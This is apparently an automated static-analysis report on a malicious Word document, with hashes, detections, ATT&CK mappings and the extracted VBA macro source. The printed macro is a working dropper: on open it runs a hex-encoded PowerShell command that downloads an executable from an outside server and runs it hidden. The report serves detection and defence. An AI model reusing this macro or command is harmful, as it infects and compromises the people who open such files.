Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b3c215cb73261a80…

MALICIOUS

Office (OOXML)

55.0 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-04
MD5: eddd4299ff9a336deb9186330ac7dc38 SHA-1: fd7b55f8423279387310decdbfcd2c8c1a3b4369 SHA-256: b3c215cb73261a8000164b8ae4949f695561a68d2e7bda3476c91c5d457d4d25
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that calls the Shell function. This function is used to execute a PowerShell command that downloads a second-stage executable from 'http://apo.palenc.club:2095/xt/m4.exe' and saves it as '%TEMP%\taf.exe', then executes it. This indicates a dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1541 bytes
SHA-256: 9112f895297e6c0592027ea4ab6a7b1a02047357cd3dce30661be21e2704f512
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub zegur()

Local $upaoaxhkd = [BitXOR(BitXOR(BitXOR(39468,3276),2902),7460) ,BitXOR(BitOr(Int(97497),3683),4837) ,"obbefjbjfmjszlbaelfbbalrh" ,"coumzdaglakutpuagymdqkmgo" ,BitAnd(BitRotate(Int(99833)),3672) ,BitAnd(BitAnd(BitAnd(37390,9950),2594),4141) ,BitNot(BitNot(BitAnd(51324,6451))) ,"tzjyhppgbahlshtmfkrvrkthk" ,"ahuxqxoetcqqzbdgcvavvillo" ,"cfsxqeepsclpjwaacyexkipgi" ,"qqoogtofcouhhuddwgadtyoqi" ,"owasdimbalousllykwxjgfimw" ,BitOr(BitOr(
End Sub

Sub gf0()
Rem = apu
End Sub

Sub me4()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F61706F2E70616C656E632E636C75623A323039352F78742F6D342E657865272C24656E763A54656D702B275C7461662E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C7461662E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
me4
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 2582d1822c52c2c55a69aecef6dd3a81a1232ac362f464b99b3900af5ed86c27
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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